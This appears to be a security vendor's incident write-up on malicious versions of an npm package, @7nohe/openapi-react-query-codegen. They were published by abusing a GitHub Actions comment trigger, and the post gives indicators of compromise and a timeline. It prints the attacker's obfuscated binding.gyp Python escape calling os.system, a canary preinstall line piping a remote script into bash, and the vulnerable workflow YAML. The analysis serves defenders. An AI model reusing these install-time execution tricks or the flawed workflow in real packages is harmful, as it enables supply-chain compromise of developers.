Mini Shai-Hulud Strikes Again: openapi-react-query-codegen
On this page
TL;DR
On August 28, 2026, an attacker published 10 malicious versions of @7nohe/openapi-react-query-codegen (671K downloads/month) to npm. The attacker did not steal npm credentials. Instead, they exploited a flawed GitHub Actions issue_comment trigger in the release workflow. This trigger lacked an author-association gate. Any GitHub user could open a pull request from a fork, comment npm publish, and trigger the release pipeline. The pipeline checked out the attacker’s fork code, ran pnpm install (which executed the attacker’s preinstall hook), and held id-token: write permission, enough to mint npm OIDC trusted-publishing tokens. The attacker used this to publish arbitrary versions under the legitimate package identity.
The payload uses two independent execution triggers. The first is a binding.gyp file that exploits node-gyp’s Python expression evaluation to call os.system('node 3FWCvzduYZg.js') through a Unicode-escaped class hierarchy traversal. The second is an explicit preinstall hook in package.json. The 3FWCvzduYZg.js file is a multi-megabyte, single-line obfuscated script. It decodes through three layers (XOR, AES-128-GCM, javascript-obfuscator) to a bootstrapper that downloads Bun v1.4.0 from GitHub releases into a trinnyyyy- prefixed temporary directory. This Bun download pattern and the obfuscation style match the Mini Shai-Hulud toolkit used in earlier supply chain attacks against SAP and AntV/317 npm packages.
All 10 versions have been removed from npm. The last safe version is 3.0.2 (published August 11, 2026). The latest dist-tag points to 3.0.2 as of August 29, 2026.
Impact:
- Projects pinned to version ranges (
^3.0.0,^2.2.0,^1.6.0,^0.5.0) could have resolved to compromised versions during the attack window - The
binding.gyptrigger executes even when install scripts are disabled, becausenode-gyp rebuildprocesses the file through Python evaluation - The payload downloads and executes a binary (Bun) from a remote source
- On Windows, the downloaded binary is renamed to a random six-character name to evade detection
Indicators of Compromise (IoC):
- File
3FWCvzduYZg.jsin the package root (4.3 to 6.4 MB, single line) - File
binding.gypwith SHA256d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d - Temporary directories matching
trinnyyyy-* preinstallscript:node 3FWCvzduYZg.js- See full IoC list below
Compromised Versions
All versions were published on August 28, 2026, between 20:00 and 20:21 UTC. The attacker published in two waves, with two canary versions used for testing the exploit.
| Version | Published (UTC) | Trigger | 3FWCvzduYZg.js SHA256 |
|---|---|---|---|
| 0.5.4 | 20:00:43 | binding.gyp only | b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 |
| 1.6.3 | 20:00:48 | binding.gyp only | 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 |
| 2.2.1 | 20:00:53 | binding.gyp only | 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 |
| 0.0.0-365d4eb* | 20:01:03 | preinstall (bun pipe) | N/A (canary, no payload file) |
| 3.0.3 | 20:02:08 | binding.gyp only | 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c |
| 3.0.4 | 20:19:29 | preinstall + binding.gyp | b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 |
| 1.6.4 | 20:19:38 | preinstall + binding.gyp | e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a |
| 2.2.2 | 20:19:41 | preinstall + binding.gyp | b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 |
| 0.0.0-ec7876d* | 20:20:13 | preinstall (node nu.js) | N/A (canary, nu.js not included) |
| 0.5.5 | 20:20:53 | preinstall + binding.gyp | 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8 |
*Full canary version strings: 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be and 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab.
Wave 1 (20:00 to 20:02 UTC) used only the binding.gyp trigger. No preinstall hook appeared in package.json. Wave 2 (20:19 to 20:21 UTC) added an explicit preinstall: "node 3FWCvzduYZg.js" alongside the binding.gyp. The attacker upgraded from stealth to redundancy within 20 minutes.
Each version carries a different 3FWCvzduYZg.js payload (unique SHA256, sizes from 4,390,354 to 6,417,671 bytes). The binding.gyp is identical across all eight payload versions.
A diff between the clean 3.0.2 and the compromised 3.0.4 shows the injection surface. The attacker changed three things: the version number, one preinstall line, and two new files.
$ diff -rq 3.0.2/package 3.0.4/packageOnly in 3.0.4/package: 3FWCvzduYZg.jsOnly in 3.0.4/package: binding.gypFiles 3.0.2/package/package.json and 3.0.4/package/package.json differ// package.json diff (3.0.2 to 3.0.4) "test": "vitest --coverage.enabled true", "snapshot": "vitest --update" "snapshot": "vitest --update", "preinstall": "node 3FWCvzduYZg.js"The clean package is 232KB (41 files). The compromised package is 6.4MB (43 files). The 6.2MB 3FWCvzduYZg.js and 828-byte binding.gyp account for the entire size difference.
The Compromise Vector
The attacker did not compromise the npm account or GitHub credentials. The attack exploited a flawed GitHub Actions workflow in the repository.
The vulnerable workflow
The release.yml workflow had two triggers:
# .github/workflows/release.yml (before fix)on: push: tags: - 'v*' issue_comment: types: - createdThe issue_comment path ran when any user commented npm publish on any pull request. The workflow then checked out the pull request head and ran pnpm install:
# .github/workflows/release.yml (before fix)- name: Checkout PR if: ${{ github.event_name == 'issue_comment' }} run: | git fetch origin pull/${{ github.event.issue.number }}/head:pr-find-commit git checkout pr-find-commit
- name: Install dependencies run: pnpm install
- name: Set prerelease package version if: ${{ github.event_name == 'issue_comment' }} run: npm version --no-git-tag-version 0.0.0-$(git rev-parse HEAD)
- name: Publish prerelease if: ${{ github.event_name == 'issue_comment' }} run: pnpm publish --no-git-checks --tag canaryThree flaws made this exploitable:
- No author-association gate. Any GitHub user could trigger the workflow, not only collaborators.
- Checkout of attacker-controlled code. The workflow checked out the pull request head, which runs fork code inside the privileged workflow context.
- OIDC publishing capability. The workflow declared
permissions: id-token: write, which allows minting npm trusted-publishing tokens. Combined withpnpm installrunning the fork’spreinstallscripts, the attacker’s code executed with full access to OIDC token generation.
The attack
The attacker opened pull requests #215 and #216 from a fork. These pull requests have since been deleted. A comment of npm publish on one of these pull requests triggered the release workflow. The workflow checked out the fork’s code, ran pnpm install, and the attacker’s preinstall script used the OIDC token to publish malicious versions to npm under the package’s legitimate identity.
The fix commit (2026-08-28T22:50:03Z) confirms this:
The release workflow fired on any
npm publishcomment on any pull request, with no author-association gate. The job then checked out the PR head and ranpnpm install, so a fork’spreinstallscript executed inside a job holdingid-token: write, enough to mint an npm trusted publishing token and publish arbitrary versions. This was exploited on 2026-08-28 via PRs #215 and #216.
The fix removed the issue_comment trigger, dropped the issues: write permission, added persist-credentials: false to the checkout step, and changed pnpm install to pnpm install --frozen-lockfile.
The canary versions
The two 0.0.0-* versions were test runs. Their preinstall scripts pass environment variables that reveal the attacker’s understanding of npm OIDC publishing:
// package.json — version 0.0.0-365d4eb (canary 1){ "preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"}// package.json — version 0.0.0-ec7876d (canary 2){ "preinstall": "WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen node nu.js"}WORKFLOW_ID, REPO_ID_SUFFIX, and TARGET_PACKAGES are the parameters needed to construct valid OIDC provenance claims for npm publishing. The file is_it_this_simple.js (not included in the tarball) is the attacker probing whether the exploit works. The name speaks for itself. Neither canary included the actual payload file. Both were dry runs.
The Payload Triggers
binding.gyp: code execution via node-gyp
The binding.gyp file is identical across all eight payload versions (SHA256: d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d). When npm install detects a binding.gyp in a package, it invokes node-gyp rebuild. node-gyp processes the file using Python’s eval() to evaluate GYP condition expressions. The attacker placed a Python class hierarchy traversal in the conditions array:
# binding.gyp — decoded from Unicode escapes# Original uses \U0000XXXX encoding to evade static detection
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')The raw file uses \U escape sequences for every character in the string literals (catch_warnings, __import__, os, node 3FWCvzduYZg.js) to avoid grep-based detection. The target type is set to \x6e\x6f\x6e\x65 (“none”) and references a nonexistent dog.c to prevent actual compilation.
The class hierarchy traversal is a technique borrowed from SSTI (Server-Side Template Injection) attacks. It reaches os.system() without writing import os or os.system as plain strings anywhere in the file, which defeats grep-based detection. The binding.gyp trigger fires even if install scripts are disabled (--ignore-scripts), because node-gyp is treated as a build step rather than a lifecycle script.
preinstall hook
Wave 2 versions added an explicit fallback:
// package.json — version 3.0.4{ "preinstall": "node 3FWCvzduYZg.js"}This runs the payload directly before dependency installation. Combined with the binding.gyp, the attacker had two independent execution paths.
3FWCvzduYZg.js: three-layer obfuscated loader
The 3FWCvzduYZg.js file is a single-line script between 4.3 and 6.4 MB. The first bytes confirm the structure:
// 3FWCvzduYZg.js — opening bytes (version 3.0.4)try{Function(function flnw1rt(alnw1rt,klnw1rt){var clnw1rt="";for(var ilnw1rt=0;ilnw1rt<alnw1rt.length;ilnw1rt++)clnw1rt+=String.fromCharCode(alnw1rt[ilnw1rt]^klnw1rt);return clnw1rt}([205,132,150,156,139,134,...The three layers:
- XOR decode (key 229): A byte array is XOR-decoded and passed to
Function()for evaluation. This produces approximately 1.6 million characters of JavaScript. - AES-128-GCM: The decoded layer contains hardcoded key, IV, and authentication tag for AES-128-GCM decryption, yielding two payloads.
- bootstrapper + obfuscated bundle: Layer 3a downloads Bun v1.4.0 from GitHub releases into a
mkdtempdirectory namedtrinnyyyy-, callschmod 755, and on Windows renames the binary to a random six-character string viaMath.random().toString(36).slice(2,8). Layer 3b is a 796KBjavascript-obfuscatorbundle with an encoded string array.
The Bun download pattern and the trinnyyyy- temporary directory prefix match the Mini Shai-Hulud toolkit observed in the SAP compromise (April 2026) and the AntV mass compromise (May 2026). Full decoding of the layer 3b payload has not been completed at the time of publication. The final objective (credential harvesting, backdoor installation, or both) requires further static analysis.
Timeline
| Time (UTC) | Event |
|---|---|
| 2026-08-11 14:25 | Last clean version 3.0.2 published by maintainer |
| 2026-08-28 ~19:59 | Release workflow triggered by bot comments on pull requests (skipped, conditions not met) |
| 2026-08-28 20:00:43 | Wave 1 begins. Versions 0.5.4, 1.6.3, 2.2.1 published (binding.gyp trigger only) |
| 2026-08-28 20:01:03 | Canary version 0.0.0-365d4eb published (bun install piped into bash, is_it_this_simple.js) |
| 2026-08-28 20:02:08 | Version 3.0.3 published (binding.gyp trigger only) |
| 2026-08-28 20:17:32 | Release workflow triggered again by bot comments (skipped) |
| 2026-08-28 20:18:44 | Issue #217 opened by CharlieEriksen: “[URGENT] Malicious npm packages published” |
| 2026-08-28 20:19:29 | Wave 2 begins (after public report). Version 3.0.4 published with preinstall + binding.gyp |
| 2026-08-28 20:19:38 | Version 1.6.4 published |
| 2026-08-28 20:19:41 | Version 2.2.2 published |
| 2026-08-28 20:20:13 | Canary version 0.0.0-ec7876d published (references missing nu.js) |
| 2026-08-28 20:20:53 | Version 0.5.5 published |
| 2026-08-28 20:30:17 | Issue #218 opened by danieldanzigerupwind |
| 2026-08-28 22:50:03 | Maintainer pushes fix commit removing issue_comment trigger |
| 2026-08-28 ~23:11 | All malicious versions unpublished from npm |
The attacker published Wave 2 less than one minute after the first public security report. Wave 2 added explicit preinstall hooks that were absent in Wave 1, which suggests the attacker was iterating on the attack in real time.
Affected Scope
Only @7nohe/openapi-react-query-codegen was compromised. Other packages under the @7nohe scope (openapi-mock-json-generator, confluence-md, adonis-mcp, react-realtime-cursor) show no suspicious publishes in August 2026. The unscoped package openapi-react-query-codegen (maintained by omridevk) is a separate, unrelated project.
Indicators of Compromise
Package versions
| Version | Tarball SHA256 |
|---|---|
| 0.5.4 | 73bac41332ea7438b671e6538750502a4548302ce26f99e114ded478436a0cb4 |
| 0.5.5 | f2f88ce6e8b0d8a6c75b4c6cf6a23db4bc1430f359b9bb12c9418fcb74cdfe46 |
| 1.6.3 | 1757c9203143db4958b53cb5c97af64bfe46ad57a07764fed59bbb886a71f1da |
| 1.6.4 | a8c00f59e629e5bc4fc6a116fa1ceb8fcf328893a9c798ca446fdcacb0fbdc18 |
| 2.2.1 | cb46dbd078753f562931920fe4b109c673925138b0e9399527e84c53f07d8a7a |
| 2.2.2 | 0d58f3434c55842fc41ad99656c20a295d46e7d16f432a122a5a094d7c1de0e2 |
| 3.0.3 | d1f9960349f2bc0689518ef754d577e1c13125db59b0252f1c85894bb69b5c8e |
| 3.0.4 | acaee3a02873334002a27d6643c20f4e38e52c8d0d1f492788e2b68586e2cbfa |
| 0.0.0-365d4eb* | c555a1ab1a2e0425d6d7f965bae55af83b5aceab2177494a00ec43451c863c63 |
| 0.0.0-ec7876d* | 5654e2b3e19cf5e7f1d39d04ebdd3507d3349f76eeb8319de42b2fdb537b8a2d |
Files
| Artifact | SHA256 |
|---|---|
binding.gyp (all 8 payload versions) | d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d |
3FWCvzduYZg.js (v3.0.4) | b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8 |
3FWCvzduYZg.js (v1.6.4) | e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a |
3FWCvzduYZg.js (v0.5.5) | 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8 |
3FWCvzduYZg.js (v2.2.2) | b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237 |
3FWCvzduYZg.js (v3.0.3) | 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c |
3FWCvzduYZg.js (v2.2.1) | 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3 |
3FWCvzduYZg.js (v0.5.4) | b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6 |
3FWCvzduYZg.js (v1.6.3) | 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380 |
Behavioral indicators
- Temporary directories matching
trinnyyyy-* - Bun v1.4.0 binary downloaded from GitHub releases during
npm install - On Windows: binary renamed to a random 6-character alphanumeric name
node-gyp rebuildtriggered bybinding.gypwith obfuscated Python code execution
Environment variables (canary versions)
WORKFLOW_ID=release.ymlREPO_ID_SUFFIX=7nohe/openapi-react-query-codegenTARGET_PACKAGES=@7nohe/openapi-react-query-codegen
References
- GitHub Issue #218: Security: package is currently publishing malicious code
- GitHub Issue #217: [URGENT] Malicious NPM packages published
- Fix commit removing the issue_comment trigger
- Mini Shai-Hulud and SAP Compromise
- Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised
- Mass npm Supply Chain Attack: Shai-Hulud 2.0
- npm
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer
A YouTube video ad impersonating TradingView delivered a fake .pkg installer. Inside: a self-healing LaunchAgent, an AES-encrypted V8 bytecode payload, and a Node.js MITM proxy trusted by a rogue...
npm Bin Entry Harvesting: A Dependency Confusion Blind Spot
21 malicious npm packages targeted Google by squatting CLI binary names from scoped packages, not package names. The technique exploits a structural gap that standard dependency confusion defenses do...
Malicious Rust Crate arrayref Runs a Build-Time Payload
A compromised release of the popular Rust crate arrayref pulled in a typosquatted proc-macro1 whose build script downloads and runs a remote binary at compile time. The malicious versions are now...
Baileys npm forks farm WhatsApp Channel followers
A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.